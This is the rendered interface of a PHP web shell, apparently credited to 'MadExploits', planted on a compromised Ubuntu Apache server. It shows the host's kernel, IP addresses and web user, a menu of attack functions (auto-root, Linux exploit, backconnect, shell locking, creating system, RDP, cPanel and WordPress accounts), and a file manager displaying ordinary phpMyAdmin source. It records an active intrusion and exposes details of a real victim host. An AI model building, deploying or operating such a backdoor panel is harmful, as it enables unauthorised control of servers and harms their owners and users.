Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.224.202.121
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Server /
SysInfo /
[ HOME SHELL ]
Name
Size
Permission
Action
Base.php
678
B
-rw-r--r--
Linux.php
2.25
KB
-rw-r--r--
SunOs.php
1.85
KB
-rw-r--r--
SysInfo.php
1.57
KB
-rw-r--r--
WindowsNt.php
5.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Linux.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Server\SysInfo; use function array_combine; use function array_map; use function array_merge; use function file_get_contents; use function intval; use function is_array; use function is_readable; use function mb_strpos; use function mb_substr; use function preg_match_all; use function preg_split; /** * Linux based SysInfo class */ class Linux extends Base { /** * Gets load information * * @return array<string, int> with load data */ public function loadavg(): array { $buf = file_get_contents('/proc/stat'); if ($buf === false) { $buf = ''; } $pos = mb_strpos($buf, "\n"); if ($pos === false) { $pos = 0; } $nums = preg_split( '/\s+/', mb_substr( $buf, 0, $pos, ), ); if (! is_array($nums)) { return ['busy' => 0, 'idle' => 0]; } return ['busy' => (int) $nums[1] + (int) $nums[2] + (int) $nums[3], 'idle' => (int) $nums[4]]; } /** * Checks whether class is supported in this environment */ public static function isSupported(): bool { return @is_readable('/proc/meminfo') && @is_readable('/proc/stat'); } /** * Gets information about memory usage * * @return array<string, int> with memory usage data */ public function memory(): array { $content = @file_get_contents('/proc/meminfo'); if ($content === false) { return []; } preg_match_all(SysInfo::MEMORY_REGEXP, $content, $matches); $mem = array_combine($matches[1], $matches[2]); $defaults = [ 'MemTotal' => 0, 'MemFree' => 0, 'Cached' => 0, 'Buffers' => 0, 'SwapTotal' => 0, 'SwapFree' => 0, 'SwapCached' => 0, ]; $mem = array_merge($defaults, $mem); $mem = array_map(intval(...), $mem); $mem['MemUsed'] = $mem['MemTotal'] - $mem['MemFree'] - $mem['Cached'] - $mem['Buffers']; $mem['SwapUsed'] = $mem['SwapTotal'] - $mem['SwapFree'] - $mem['SwapCached']; return $mem; } }
Close